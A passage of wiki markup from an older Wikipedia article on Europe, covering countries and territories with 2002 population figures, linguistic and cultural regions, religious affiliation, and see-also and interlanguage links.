* [[Portugal]]&lt;small&gt;&lt;sup&gt;7&lt;/sup&gt;&lt;/small&gt;
* [[Romania]]
* [[Russia]]&lt;small&gt;&lt;sup&gt;4&lt;/sup&gt;&lt;/small&gt;
* [[San Marino]]
* [[Serbia and Montenegro]]&lt;small&gt;&lt;sup&gt;8&lt;/sup&gt;&lt;/small&gt;
| width=&quot;10px&quot; | &amp;nbsp;
| style=&quot;vertical-align: top;&quot; |
* [[Slovakia]]
* [[Slovenia]]
* [[Spain]]&lt;small&gt;&lt;sup&gt;9&lt;/sup&gt;&lt;/small&gt;
* [[Sweden]]
* [[Switzerland]]
* [[Turkey]]&lt;small&gt;&lt;sup&gt;10&lt;/sup&gt;&lt;/small&gt;
* [[Ukraine]]
* [[United Kingdom]]
* [[Vatican City]]
|}
&lt;sup&gt;1&lt;/sup&gt; Armenia and Cyprus are not a part of Europe geographically, but may be considered to be European culturally.&lt;br&gt;
&lt;sup&gt;2&lt;/sup&gt; Azerbaijan and Georgia have [[Transcontinental nation|territory in Europe]] north of the crest of the [[Caucasus Mountains|Caucasus]] and the [[Kura River]].&lt;br&gt;
&lt;sup&gt;3&lt;/sup&gt; Some [[Administrative divisions of France|integral parts of France]] are located outside Europe.&lt;br&gt;
&lt;sup&gt;4&lt;/sup&gt; Russia and Kazakhstan have [[Transcontinental nation|territory in Europe]] west of the Ural Mountains and both the [[Ural River|Ural]] and [[Emba]] Rivers.&lt;br&gt;
&lt;sup&gt;5&lt;/sup&gt; The name of this state is a matter of international dispute; see [[Republic of Macedonia]].&lt;br&gt;
&lt;sup&gt;6&lt;/sup&gt; Netherlands and two entites outside Europe ([[Aruba]] and the [[Netherlands Antilles]], in the [[Caribbean]]) constitute the [[Kingdom of the Netherlands]].&lt;br&gt;
&lt;sup&gt;7&lt;/sup&gt; The Portuguese [[Madeira Islands]] are located in the North Altantic Ocean near the [[Africa]]n mainland.&lt;br&gt;
&lt;sup&gt;8&lt;/sup&gt; State union of [[Serbia|Republic of Serbia]] and the [[Montenegro|Republic of Montenegro]].&lt;br&gt;
&lt;sup&gt;9&lt;/sup&gt; The Spanish [[Canary Islands]] are located in the North Atlantic Ocean; [[Plaza de soberanía|''plazas de soberanía'' (exclaves)]] are located on the [[Africa]]n mainland.&lt;br&gt;
&lt;sup&gt;10&lt;/sup&gt; Turkey has [[Transcontinental nation|territory in Europe]] west and north of the Bosporus and the Dardanelles.&lt;br&gt;

====Dependent territories====
The European territories listed below are recognised as being culturally and geographically defined. Most have a degree of autonomy. In the list below, each territory is followed by its legal status.

*[[Akrotiri and Dhekelia]] ([[UK sovereign base]]s; located in Cyprus)
*[[Guernsey]] ([[British crown dependency]])
*[[Jersey]] (British crown dependency)  
*[[Faroe Islands]] (self-governing territory of Denmark)   
*[[Gibraltar]] ([[British overseas territory]])   
*[[Isle of Man]] (British crown dependency)
*[[Svalbard]] (under Norwegian sovereignty through [[Svalbard Treaty]]) 

Note that this is not a list of all dependencies of all European countries.  Dependencies located in other continents are listed elsewhere.

====Autonomous territories====
*[[Åland|Aland Islands]] (autonomous region of Finland)
*[[Azores]] (semi-autonomous region of Portugal)

====Unilaterally seceded territories====
Following are breakaway regions of independent states. These regions have declared, and ''[[de facto]]'' [[List of unrecognized countries|achieved]], independence; however, they are not recognised ''[[de jure]]'' by other independent states.

*[[Abkhazia]] (from Georgia)	 
*[[South Ossetia]] (from Georgia)
*[[Transnistria]] (from Moldova)
*[[Nagorno-Karabakh]] (from Azerbaijan; recognised only by Armenia)
*[[Turkish Republic of Northern Cyprus]] (from Cyprus; recognised only by Turkey)

====Territories under [[United Nations]] administration====
*[[Kosovo|Kosovo and Metohia]] (province of [[Serbia]], administrated by [[UNMIK]] as per [[Security Council]] [[resolution 1244]])

====Table of territories and regions====
&lt;!--{{editnote | NOTE: The countries in this table are categorised according to the scheme for geographic subregions used by the United Nations, and data included are per sources in cross-referenced articles.  Where they differ, provisos are clearly indicated.  If you have arguments or evidence to the contrary, please provide them on the talk page and await until the consensus supports making proposed edits.  Thank you!--&gt;

{| border=&quot;1&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;border:1px solid #aaa; border-collapse:collapse&quot;
|- bgcolor=&quot;#ECECEC&quot;
! Name of territory,&lt;br&gt;with [[flag]]
! [[List of countries by area|Area]]&lt;br&gt;(km&amp;sup2;)
! [[List of countries by population|Population]]&lt;br&gt;([[1 July]] [[2002]] est.)
! [[List of countries by population density|Population density]]&lt;br&gt;(per km&amp;sup2;)
! [[Capital]]
|- 
| colspan=5 style=&quot;background:#eee;&quot; | '''[[Eastern Europe]]:'''{{ref|region}}
|-
| {{flagicon|Belarus}} [[Belarus]]
| align=&quot;right&quot; | 207,600
| align=&quot;right&quot; | 10,335,382
| align=&quot;right&quot; | 49.8
| [[Minsk]]
|-
| {{flagicon|Bulgaria}} [[Bulgaria]]
| align=&quot;right&quot; | 110,910
| align=&quot;right&quot; | 7,621,337
| align=&quot;right&quot; | 68.7
| [[Sofia]]
|-
| {{flagicon|Czech Republic}} [[Czech Republic]]
| align=&quot;right&quot; | 78,866
| align=&quot;right&quot; | 10,256,760
| align=&quot;right&quot; | 130.1
| [[Prague]]
|-
| {{flagicon|Hungary}} [[Hungary]]
| align=&quot;right&quot; | 93,030
| align=&quot;right&quot; | 10,075,034
| align=&quot;right&quot; | 108.3
| [[Budapest]]
|-
| {{flagicon|Moldova}} [[Moldova]]
| align=&quot;right&quot; | 33,843
| align=&quot;right&quot; | 4,434,547
| align=&quot;right&quot; | 131.0
| [[Chisinau]]
|-
| {{flagicon|Poland}} [[Poland]]
| align=&quot;right&quot; | 312,685
| align=&quot;right&quot; | 38,625,478
| align=&quot;right&quot; | 123.5
| [[Warsaw]]
|-
| {{flagicon|Romania}} [[Romania]]
| align=&quot;right&quot; | 238,391
| align=&quot;right&quot; | 21,698,181
| align=&quot;right&quot; | 91.0
| [[Bucharest]]
|-
| {{flagicon|Russia}} [[Russia]]{{ref|Russia}}
| align=&quot;right&quot; | 3,960,000
| align=&quot;right&quot; | 106,037,143
| align=&quot;right&quot; | 26.8
| [[Moscow]]
|-
| {{flagicon|Slovakia}} [[Slovakia]]
| align=&quot;right&quot; | 48,845
| align=&quot;right&quot; | 5,422,366
| align=&quot;right&quot; | 111.0
| [[Bratislava]]
|-
| {{flagicon|Ukraine}} [[Ukraine]]
| align=&quot;right&quot; | 603,700
| align=&quot;right&quot; | 48,396,470
| align=&quot;right&quot; | 80.2
| [[Kyiv]]
|- 
| colspan=5 style=&quot;background:#eee;&quot; | '''[[Northern Europe]]:'''
|-
| {{flagicon|Denmark}} [[Denmark]]
| align=&quot;right&quot; | 43,094
| align=&quot;right&quot; | 5,368,854
| align=&quot;right&quot; | 124.6
| [[Copenhagen]]
|-
| {{flagicon|Estonia}} [[Estonia]]
| align=&quot;right&quot; | 45,226
| align=&quot;right&quot; | 1,415,681
| align=&quot;right&quot; | 31.3
| [[Tallinn]]
|-
| {{flagicon|Faroe Islands}} [[Faroe Islands]] ([[Denmark]])
| align=&quot;right&quot; | 1,399
| align=&quot;right&quot; | 46,011
| align=&quot;right&quot; | 32.9
| [[Tórshavn]]
|-
| {{flagicon|Finland}} [[Finland]]
| align=&quot;right&quot; | 337,030
| align=&quot;right&quot; | 5,183,545
| align=&quot;right&quot; | 15.4
| [[Helsinki]]
|-
| {{flagicon|Guernsey}} [[Guernsey]]{{ref|Crown}}
| align=&quot;right&quot; | 78
| align=&quot;right&quot; | 64,587
| align=&quot;right&quot; | 828.0
| [[St Peter Port]]
|-
| {{flagicon|Iceland}} [[Iceland]]
| align=&quot;right&quot; | 103,000
| align=&quot;right&quot; | 279,384
| align=&quot;right&quot; | 2.7
| [[Reykjavík]]
|-
| {{flagicon|Ireland}} [[Republic of Ireland|Ireland]]
| align=&quot;right&quot; | 70,280
| align=&quot;right&quot; | 3,883,159
| align=&quot;right&quot; | 55.3
| [[Dublin]]
|-
| {{flagicon|Isle of Man}} [[Isle of Man]]{{ref|Crown}}
| align=&quot;right&quot; | 572
| align=&quot;right&quot; | 73,873
| align=&quot;right&quot; | 129.1
| [[Douglas, Isle of Man|Douglas]]
|-
| {{flagicon|Jersey}} [[Jersey]]{{ref|Crown}}
| align=&quot;right&quot; | 116
| align=&quot;right&quot; | 89,775
| align=&quot;right&quot; | 773.9
| [[Saint Helier]]
|-
| {{flagicon|Latvia}} [[Latvia]]
| align=&quot;right&quot; | 64,589
| align=&quot;right&quot; | 2,366,515
| align=&quot;right&quot; | 36.6
| [[Riga]]
|-
| {{flagicon|Lithuania}} [[Lithuania]]
| align=&quot;right&quot; | 65,200
| align=&quot;right&quot; | 3,601,138
| align=&quot;right&quot; | 55.2
| [[Vilnius]]
|-
| {{flagicon|Norway}} [[Norway]]
| align=&quot;right&quot; | 324,220
| align=&quot;right&quot; | 4,525,116
| align=&quot;right&quot; | 14.0
| [[Oslo]]
|-
| {{flagicon|Norway}} [[Svalbard and Jan Mayen|Svalbard and Jan&lt;br&gt;Mayen Islands]] ([[Norway]])
| align=&quot;right&quot; | 62,049
| align=&quot;right&quot; | 2,868
| align=&quot;right&quot; | 0.046
| [[Longyearbyen]]
|-
| {{flagicon|Sweden}} [[Sweden]]
| align=&quot;right&quot; | 449,964
| align=&quot;right&quot; | 8,876,744
| align=&quot;right&quot; | 19.7
| [[Stockholm]]
|-
| {{flagicon|United Kingdom}} [[United Kingdom]]
| align=&quot;right&quot; | 244,820
| align=&quot;right&quot; | 59,778,002
| align=&quot;right&quot; | 244.2
| [[London]]
|-
| colspan=5 style=&quot;background:#eee;&quot; | '''[[Southern Europe]]:'''
|-
| {{flagicon|Albania}} [[Albania]]
| align=&quot;right&quot; | 28,748
| align=&quot;right&quot; | 3,544,841
| align=&quot;right&quot; | 123.3
| [[Tirana]]
|-
| {{flagicon|Andorra}} [[Andorra]]
| align=&quot;right&quot; | 468
| align=&quot;right&quot; | 68,403
| align=&quot;right&quot; | 146.2
| [[Andorra la Vella]]
|-
| {{flagicon|Bosnia and Herzegovina}} [[Bosnia and Herzegovina]]
| align=&quot;right&quot; | 51,129
| align=&quot;right&quot; | 3,964,388
| align=&quot;right&quot; | 77.5
| [[Sarajevo]]
|-
| {{flagicon|Croatia}} [[Croatia]]
| align=&quot;right&quot; | 56,542
| align=&quot;right&quot; | 4,390,751
| align=&quot;right&quot; | 77.7
| [[Zagreb]]
|-
| {{flagicon|Gibraltar}} [[Gibraltar]] ([[United Kingdom|UK]])
| align=&quot;right&quot; | 5.9
| align=&quot;right&quot; | 27,714
| align=&quot;right&quot; | 4,697.3
| [[Gibraltar]]
|-
| {{flagicon|Greece}} [[Greece]]
| align=&quot;right&quot; | 131,940
| align=&quot;right&quot; | 10,645,343
| align=&quot;right&quot; | 80.7
| [[Athens]]
|-
| {{flagicon|Italy}} [[Italy]]
| align=&quot;right&quot; | 301,230
| align=&quot;right&quot; | 57,715,625
| align=&quot;right&quot; | 191.6
| [[Rome]]
|-
| {{flagicon|Macedonia}} [[Republic of Macedonia|Macedonia]]
| align=&quot;right&quot; | 25,333
| align=&quot;right&quot; | 2,054,800
| align=&quot;right&quot; | 81.1
| [[Skopje]]
|-
| {{flagicon|Malta}} [[Malta]]
| align=&quot;right&quot; | 316
| align=&quot;right&quot; | 397,499
| align=&quot;right&quot; | 1,257.9
| [[Valletta]]
|-
| {{flagicon|Portugal}} [[Portugal]]{{ref|Portugal}}
| align=&quot;right&quot; | 91,568
| align=&quot;right&quot; | 10,084,245
| align=&quot;right&quot; | 110.1
| [[Lisbon]]
|-
| {{flagicon|San Marino}} [[San Marino]]
| align=&quot;right&quot; | 61
| align=&quot;right&quot; | 27,730
| align=&quot;right&quot; | 454.6
| [[San Marino, San Marino|San Marino]]
|-
| {{flagicon|Serbia and Montenegro}} [[Serbia and Montenegro]]
| align=&quot;right&quot; | 102,173
| align=&quot;right&quot; | 10,280,000
| align=&quot;right&quot; | 100.6
| [[Belgrade]]
|-
| {{flagicon|Slovenia}} [[Slovenia]]
| align=&quot;right&quot; | 20,273
| align=&quot;right&quot; | 1,932,917
| align=&quot;right&quot; | 95.3
| [[Ljubljana]]
|-
| {{flagicon|Spain}} [[Spain]]{{ref|Spain}}
| align=&quot;right&quot; | 498,506
| align=&quot;right&quot; | 40,077,100
| align=&quot;right&quot; | 80.4
| [[Madrid]]
|-
| {{flagicon|Vatican City}} [[Vatican City]]
| align=&quot;right&quot; | 0.44
| align=&quot;right&quot; | 900
| align=&quot;right&quot; | 2,045.5
| [[Vatican City]]
|-
| colspan=5 style=&quot;background:#eee;&quot; | '''[[Western Europe]]:'''
|-
| {{flagicon|Austria}} [[Austria]]
| align=&quot;right&quot; | 83,858
| align=&quot;right&quot; | 8,169,929
| align=&quot;right&quot; | 97.4
| [[Vienna]]
|-
| {{flagicon|Belgium}} [[Belgium]]
| align=&quot;right&quot; | 30,510
| align=&quot;right&quot; | 10,274,595
| align=&quot;right&quot; | 336.8
| [[Brussels]]
|-
| {{flagicon|France}} [[France]]{{ref|France}}
| align=&quot;right&quot; | 547,030
| align=&quot;right&quot; | 59,765,983
| align=&quot;right&quot; | 109.3
| [[Paris]]
|-
| {{flagicon|Germany}} [[Germany]]
| align=&quot;right&quot; | 357,021
| align=&quot;right&quot; | 83,251,851
| align=&quot;right&quot; | 233.2
| [[Berlin]]
|-
| {{flagicon|Liechtenstein}} [[Liechtenstein]]
| align=&quot;right&quot; | 160
| align=&quot;right&quot; | 32,842
| align=&quot;right&quot; | 205.3
| [[Vaduz]]
|-
| {{flagicon|Luxembourg}} [[Luxembourg]]
| align=&quot;right&quot; | 2,586
| align=&quot;right&quot; | 448,569
| align=&quot;right&quot; | 173.5
| [[Luxembourg (city)|Luxembourg]]
|-
| {{flagicon|Monaco}} [[Monaco]]
| align=&quot;right&quot; | 1.95
| align=&quot;right&quot; | 31,987
| align=&quot;right&quot; | 16,403.6
| [[Monaco]]
|-
| {{flagicon|Netherlands}} [[Netherlands]]{{ref|Netherlands}}
| align=&quot;right&quot; | 41,526
| align=&quot;right&quot; | 16,318,199
| align=&quot;right&quot; | 393.0
| [[Amsterdam]], [[The Hague]]
|-
| {{flagicon|Switzerland}} [[Switzerland]]
| align=&quot;right&quot; | 41,290
| align=&quot;right&quot; | 7,301,994
| align=&quot;right&quot; | 176.8
| [[Bern]]
|-
| colspan=5 style=&quot;background:#eee;&quot; | '''[[Western Asia]]:'''
|-
| {{flagicon|Armenia}} [[Armenia]]{{ref|Armenia}}
| align=&quot;right&quot; | 29,800 
| align=&quot;right&quot; | —
| align=&quot;right&quot; | —
| [[Yerevan]]
|-
| {{flagicon|Azerbaijan}} [[Azerbaijan]]{{ref|Azerbaijan}}
| align=&quot;right&quot; | 39,730
| align=&quot;right&quot; | 4,198,491
| align=&quot;right&quot; | 105.7
| [[Baku]]
|-
| {{flagicon|Cyprus}} [[Cyprus]]{{ref|Cyprus}}
| align=&quot;right&quot; | 5,995
| align=&quot;right&quot; | 780,133
| align=&quot;right&quot; | 130.1
| [[Nicosia|Nicosia (Lefkosa)]]
|-
| {{flagicon|Georgia}} [[Georgia (country)|Georgia]]{{ref|Georgia}}
| align=&quot;right&quot; | 49,240
| align=&quot;right&quot; | 2,447,176
| align=&quot;right&quot; | 49.7
| [[Tbilisi]]
|- 
| {{flagicon|Turkey}} [[Turkey]]{{ref|Turkey}}
| align=&quot;right&quot; | 24,378
| align=&quot;right&quot; | 11,044,932
| align=&quot;right&quot; | 453.1
| [[Ankara]]
|-
| colspan=5 style=&quot;background:#eee;&quot; | '''[[Central Asia]]:'''
|-
| {{flagicon|Kazakhstan}} [[Kazakhstan]]{{ref|Kazakhstan}}
| align=&quot;right&quot; | 370,373
| align=&quot;right&quot; | 1,285,174
| align=&quot;right&quot; | 3.4
| [[Astana]]
|- style=&quot; font-weight:bold; &quot;
| Total
| align=&quot;right&quot; | 10,431,299
| align=&quot;right&quot; | 709,022,061
| align=&quot;right&quot; | 68.0
|}

''Notes:''&lt;br&gt;
#&lt;small&gt;{{note|region}} Continental regions as per [[:Image:United Nations geographical subregions.png|UN categorisations/map]].  Depending on definitions, various territories cited below (notes 2, 6-8, 10-15) may be in [[Transcontinental nation|one or both of]] Europe and [[Asia]], [[Africa]], or [[Oceania]].&lt;br&gt;
#&lt;small&gt;{{note|Russia}} [[Russia]] is generally considered a transcontinental country in Eastern Europe (UN region) and Asia; population and area figures are for European portion only.&lt;br&gt;
#{{note|Crown}}–5. &lt;small&gt;[[Guernsey]], [[Isle of Man]], and [[Jersey]] are [[crown dependency|crown dependencies]] affiliated with the [[United Kingdom]].&lt;br&gt;
:6. &lt;small&gt;{{note|Portugal}} Figures for [[Portugal]] exclude the [[Madeira Islands]], west of [[Morocco]] in [[Africa]].&lt;br&gt;
:7. &lt;small&gt;{{note|Spain}} Figures for [[Spain]] exclude the [[Canary Islands]], west of Morocco in [[Africa]], and the [[exclave]]s of [[Ceuta]] and [[Melilla]], which are on the northwest of the African continent.&lt;br&gt;
:8. &lt;small&gt;{{note|France}} Figures for [[France]] include only [[metropolitan France]].&lt;br&gt;
:9. &lt;small&gt;{{note|Netherlands}} [[Netherlands]] population for July 2004; [[Amsterdam]] is the official capital, while [[The Hague]] is the administrative seat.&lt;br&gt;
:10. &lt;small&gt;{{note|Armenia}} [[Armenia]] is sometimes considered a transcontinental country in Western Asia ([[:Image:United Nations geographical subregions.png|as per UN categorisations/map]]) and Eastern Europe.&lt;br&gt;
:11. &lt;small&gt;{{note|Azerbaijan}}  [[Azerbaijan]] is often considered a transcontinental country in Western Asia (UN region) and Eastern Europe; population and area figures are for European portion only.&lt;br&gt;
:12. &lt;small&gt;{{note|Cyprus}} [[Cyprus]] is often considered a transcontinental country in Western Asia (UN region) and Southern Europe; population and area figures are for ''[[de jure]]'' Greek-administered portion only.&lt;br&gt;
:13. &lt;small&gt;{{note|Georgia}} [[Georgia (country)|Georgia]] is often considered a transcontinental country in Western Asia (UN region) and Eastern Europe; population and area figures are for European portion only.&lt;br&gt;
:14. &lt;small&gt;{{note|Turkey}} [[Turkey]] is generally considered a transcontinental country Western Asia (UN region) and Southern Europe; population and area figures are for European portion only, including all of [[Istanbul Province|Istanbul]].&lt;/small&gt;&lt;br&gt;
:15. &lt;small&gt;{{note|Kazakhstan}} [[Kazakhstan]] is sometimes considered a transcontinental country in Central Asia (UN region) and Eastern Europe; population and area figures are for European portion only.&lt;br&gt;

==Linguistic and cultural regions== &lt;!--The section needs to be edited and improved.--&gt;
The sub-division in several linguistic and cultural regions is much less subjective than the geographical sub-division, since they correspond to people's cultural connections.  Traditionally, the following groups are recognized.

==== Germanic Europe ====
[[Germanic Europe]], where [[Germanic languages]] are spoken. This area corresponds more or less to north-western Europe and some parts of [[central Europe]]. The main religion of the region is [[Protestantism]],  but the further south you go, you encounter more countries with a [[Roman Catholic Church |Catholic]] majority (particularly [[Bavaria]] and [[Austria]] but also [[Religion in Belgium|Belgium]]). This region consists of: [[England]] (a [[constituent country]] of the [[UK]]), [[Iceland]], [[Germany]], [[Austria]], [[Netherlands]], [[Denmark]], [[Sweden]], [[Norway]], [[Luxembourg]], [[Liechtenstein]], the [[Faroe Islands]], the [[German speaking part of Switzerland]], [[Flanders]] in [[Belgium]], the [[German-speaking part  of Belgium]], the [[Finland-Swedish|Swedish-speaking]] [[municipalities of Finland|municipalities]] of Finland, and the [[South Tyrol]]/[[Alto-Adige]] part of Italy.

==== Latin Europe ====
[[Latin Europe]], where the [[Romance languages]] are spoken. This area corresponds more or less to south-western Europe, as well as [[Romania]] and [[Moldova]] which are situated in [[Eastern Europe]]. The major religion is [[Roman Catholicism|Catholicism]], except in [[Romania]] and [[Moldova]]. This area consists of: [[Italy]], [[Spain]], [[Portugal]], [[France]], [[Romania]], [[Moldova]], [[Wallonia]], [[Romandy]], [[Romansh]]-speaking Switzerland, and [[Italian language|Italian]]-speaking Switzerland.

==== Slavic Europe ====
[[Slavic Europe]], where [[Slavic languages]] are spoken. This area corresponds, more or less, to Central and Eastern Europe. The main religions are [[Eastern Orthodox Church|Orthodox Christianity]] and Catholicism, with large [[Islam|Muslim]] populations in some parts formerly ruled by the [[Ottoman Empire]]. This area consists of: [[Belarus]], [[Bosnia and Herzegovina]], [[Bulgaria]], [[Croatia]], the [[Czech Republic]], the [[Republic of Macedonia]], [[Poland]], [[Russia]], [[Serbia and Montenegro]], [[Slovakia]], [[Slovenia]] and [[Ukraine]].

====Celtic Europe====
[[Celtic Europe]], where [[Celtic languages]] are spoken, or where they were previously spoken and the population still shares a Celtic heritage for non-linguistic reasons. The [[Celtic nations]] are: [[Scotland]], [[Wales]], [[Cornwall]] (within the United Kingdom), the [[Isle of Man]] (a [[Crown Dependency|British Crown dependency]]), [[Ireland]], and [[Brittany]] (within [[France]]). These are all nations where a [[Celtic Languages|Celtic language]] is spoken, or was spoken into modern times, and there is a degree of shared culture (see [[Pan Celticism]]). Sometimes considered Celtic nations are [[Galicia]] and [[Asturias]] (both autonomous communities of [[Spain]]), whose own Celtic language died out a millennium ago, and England where Celtic culture persists and Celtic dialect remains in many regional dialects (see [[Cumbric]]), although [[Southwestern Brythonic|England's Celtic languages]] died out as recently as the 18th century in Devon.  The main religions are [[Catholicism]] and [[Protestantism]], which are particularly mixed in [[Northern Ireland]] and [[Scotland]].

====Baltic Europe====

Baltic Europe, in the cultural sense, refers to those nations which speak [[Baltic languages]], and hence include [[Lithuania]] and [[Latvia]]. [[Estonia]], whose national language is part of the [[Finno-Ugric languages|Finno-Ugric]] family, is not included in this grouping, even though it is a [[Baltic state]] geographically.

==== Others ====
Outside of these five main groups one can find:
* Greece, the only modern country in [[Hellenic Europe]]. This is where one can also consider the [[Greek Cypriot]] community. It is often incorrectly associated with the Latin countries, due to the geographical and perceived cultural ties to the [[Mediterranean Sea]]. 
* [[Albanian language]] is its own independent branch of the Indo-European language family with no close living relatives. There is no scholarly consensus over its origin. Some scholars maintain that it derives from the [[Illyrian language]].
* Ibero-Caucasian, a group that includes ethnic groups throughout the [[Caucasus]] region (both North and South).  [[Ibero-Caucasian languages]] are not linked to the [[Indo-European]] languages.  This group includes [[Georgians]], [[Abkhaz people|Abkhaz]], [[Chechens]], [[Balkars]], and a number of other smaller ethnic groups that reside in the [[Caucasus]].
* Turkey and Azerbaijan both have languages classified as [[Turkic languages|Turkic]] and not of Indo-European origin.  Moreover, they are predominantly [[Islam|Muslim]] countries, as opposed to the rest of Europe where many denominations of [[Christianity]] prevail.
* Hungary, having a [[Hungarian language|language]] not of Indo-European origin and distantly related to Finnish and Estonian. Due to its location, Hungary is normally grouped with Central or Eastern European countries.
* Finland and Estonia, whose languages are distantly related to Hungarian. They are normally associated with northern European countries. Finland is, due to cultural ties, considered part of the [[Nordic countries]] and Estonia is associated with [[Balticum]].
* Armenia, although not considered as part of Europe geographically, has a language that constitutes a separate branch of [[Indo-European]] family of languages and the nation is considered to be European culturally. The Armenian language is spoken in Armenia and other European countries with [[Armenian Diaspora|Armenian communities]] (such as France, Greece, Belgium, Russia, Germany etc.).

===Religious affiliation===

{{disputed}}
The terms &quot;Catholic Europe&quot;, &quot;Orthodox Europe&quot;, and &quot;Muslim Europe&quot; are sometimes used in two senses: to delineate traditional religious affiliation of European regions or to describe the overall European population of particular creed.
*'''[[Catholicism]]''':  Countries with significant Catholic populations are [[Portugal]], [[Spain]], [[France]], [[Belgium]], south [[Netherlands]], the [[Republic of Ireland]], west [[Scotland]], south [[Germany]], south [[Switzerland]], [[Italy]], [[Austria]], [[Slovenia]], [[Croatia]], the Croatian parts of [[Bosnia]], [[Slovakia]], the [[Czech Republic]], [[Poland]], west [[Ukraine]], [[Romania]], [[Latvia]] {{fact}} and [[Lithuania]].  There are also large Catholic minorities in the [[United Kingdom]] and [[Russia]] {{fact}}, although they are not concentrated in one area.
*'''[[Protestantism]]''': Countries with significant Protestant populations include [[Norway]], [[Iceland]], [[Sweden]], [[Finland]], the [[UK]], [[Denmark]], [[Germany]], the [[Netherlands]] and north [[Switzerland]] {{fact}}.  There are significant minorities in [[France]], [[Slovakia]] {{fact}} and the [[Republic of Ireland]] and indeed small minorities in most European Countries.   
*'''[[Islam]]''': Countries with influential Muslim population are [[Albania]], [[Bosnia and Herzegovina]], south [[Bulgaria]] and Eurasian states of [[Russia]], [[Kazakhstan]], [[Turkey]], and [[Azerbaijan]]. Some other countries have significant Muslim population as well. Also, as of 2005, about 5% of the EU identify themselves as Muslims, with many Muslim immigrants in [[Germany]] and [[France]].
*'''[[Orthodox Christianity]]''': The countries with significant Orthodox populations are [[Albania]], [[Armenia]], [[Belarus]], [[Bosnia and Herzegovina]], [[Bulgaria]], east [[Slovakia]] {{fact}}, [[Finland]], [[Georgia (country)|Georgia]], [[Greece]], [[Republic of Macedonia]], [[Moldova]], [[Romania]], [[Russia]], [[Serbia and Montenegro]], [[Ukraine]].
*Others:  Other minor religions exist in Europe, some brought by migrants, including:

'''[[Hinduism]]''', mainly in the [[UK]].
'''[[Buddhism]]''', thinly spread throughout western Europe.
'''[[Rastafari]]''', communities in the UK, France, Spain, Portugal, Italy and elsewhere {{fact}}.
'''[[Sikhism]]''', mainly in the [[UK]].
'''[[Norse]]''', with small minorities throughout [[Scandinavia]] {{fact}}.
'''[[Celtic]]''', mainly in the [[Republic of Ireland]] and the [[UK]] {{fact}}.
'''[[Jainism]]''', mainly in the [[UK]].
'''[[Voodoo]]''', mainly in the [[UK]] and [[France]].
'''[[Traditional African Religions]]''' (including [[Muti]]), mainly in the [[UK]] and [[France]]. 
*'''[[Non-confessional]]''':  Millions of Europeans profess no religion or are atheistic or agnostic.  The largest non-confessional populations (as a percentage) are found in [[Sweden]], the [[Czech Republic]] and [[France]]  although most former [[communist]] countries have significant non-confessional populations.
* A number of countries in Europe have [[official religion]]s, including Liechtenstein, Malta, Monaco, Vatican City (Catholic); Cyprus {{fact}} and Greece (Eastern Orthodox), Denmark, Iceland and Norway (Lutheran). In Switzerland, some [[cantons]] are officially Catholic, others Reformed Protestant. Georgia has no established church, but the [[Georgian Orthodox Church]] enjoys &quot;''de facto''&quot; privileged status. In Finland, both Eastern Orthodox and Lutheran are official. Russia recognises Eastern Orthodox, Buddhism, Judaism and Islam as all &quot;official&quot; {{fact}} (with one state, [[Kalmykia]], officially Buddhist {{fact}}). England, a part of the UK, has [[Anglicanism]] as its official religion. Scotland, another part of the UK, has Presbyterianism as the 'National' church, but is no longer &quot;official&quot;, and in Sweden, the 'National' church is [[Lutheran]], but no longer &quot;official&quot;. France, Turkey and Azerbaijan are officially &quot;secular&quot;.

==See also==
[[Image:Deutsche-Bank-Frankfurt-am-Main.jpg|thumb|[[Deutsche Bank]] in [[Frankfurt]], one of the major financial centres in the world.]]
*[[Eurasia]]
*[[Culture of Europe]]
*[[Economy of Europe]]
*[[List of extinct animals of Europe|Extinct animals of Europe]]
*[[Geography of Europe]]
*[[Prehistoric Europe]]
*[[History of Europe]]
*[[Politics of Europe]]
*[[Transport in Europe]]

*[[Eurozone]]
*[[European Union]]
*[[Euroregion]]

*[[Europium]]

===Lists and tables===
*General
**[[Europe#Table of territories and regions|Table of European territories and regions]]

*Demographics
**[[Area and population of European countries]]
**[[European Union Statistics]]
**[[Largest European metropolitan areas|The most populous metropolitan areas in Europe]]
**[[Largest urban areas of the European Union|The most populous urban areas of the European Union]]

*Economy
**[[Economy of the European Union]]
**[[Financial and social rankings of European countries]]
**[[List of European countries by GDP|GDP of European Countries]]

*Political
**[[Names of European cities in different languages|Alternative names of European cities]]
**[[Date of independence of European countries]]
**[[International Organisations in Europe]] (table of membership)

*Other
**[[List of Europe-related topics]]

==External links==
{{wikinews|Category:Europe}}
{{commons|Europe}}
*{{wikitravel}}
*[http://www.cia.gov/cia/publications/factbook Information about all countries in the world]
*[http://earthobservatory.nasa.gov/Newsroom/NewImages/images.php3?img_id=13266 Europe at Night] at [[NASA Earth Observatory]]
*[http://www.geog.tamu.edu/~prout/GVmidtermTwo.html Regions of Europe]
*[http://www.eufpc.org EUFPC European Foreign Policy Council]
*[http://www.freeworldmaps.net/europe/index.html Physical Map of Europe]
*[http://www.parks.it/europa/Eindex.html Parks in Europe] - National parks, nature parks, reserves and other protected areas.
*Unique Images of Europe: [http://www.mazmanian.net/visuals/europa-one.html Europa Series One] and [http://www.mazmanian.net/visuals/europa-two.html Europa Series Two]

{{Europefooter}}
{{Continent}}
{{Region}}

[[Category:Continents]]
[[Category:Europe| ]]

{{Link FA|zh}}

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[[eo:Eŭropo]]
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[[fa:اروپا]]
[[fr:Europe]]
[[fy:Jeropa]]
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[[hi:यूरोप]]
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[[id:Eropa]]
[[ia:Europa]]
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[[it:Europa]]
[[he:אירופה]]
[[kn:ಯುರೋಪ್]]
[[ka:ევროპა]]
[[kk:Еуропа]]
[[csb:Eùropa]]
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[[lb:Europa (Kontinent)]]
[[li:Europa]]
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[[mk:Европа]]
[[mi:Ūropi]]
[[ms:Eropah]]
[[mo:Europa]]
[[nah:Eutlocpan]]
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[[nds:Europa]]
[[ja:ヨーロッパ]]
[[no:Europa]]
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[[oc:Euròpa]]
[[pl:Europa]]
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[[qu:Iwrupa]]
[[ru:Европа]]
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[[sco:Europe]]
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[[sh:Evropa]]
[[scn:Europa]]
[[simple:Europe]]
[[sk:Európa]]
[[sl:Evropa]]
[[sr:Европа]]
[[fi:Eurooppa]]
[[sv:Europa]]
[[ta:ஐரோப்பா]]
[[th:ทวีปยุโรป]]
[[vi:Châu Âu]]
[[tpi:Yurop]]
[[tr:Avrupa]]
[[udm:Европа]]
[[uk:Європа]]
[[uz:Evropa]]
[[wa:Urope]]
[[yi:אייראפע]]
[[zh:欧洲]]</text>
    </revision>
  </page>
  <page>
    <title>Europa (disambiguation)</title>
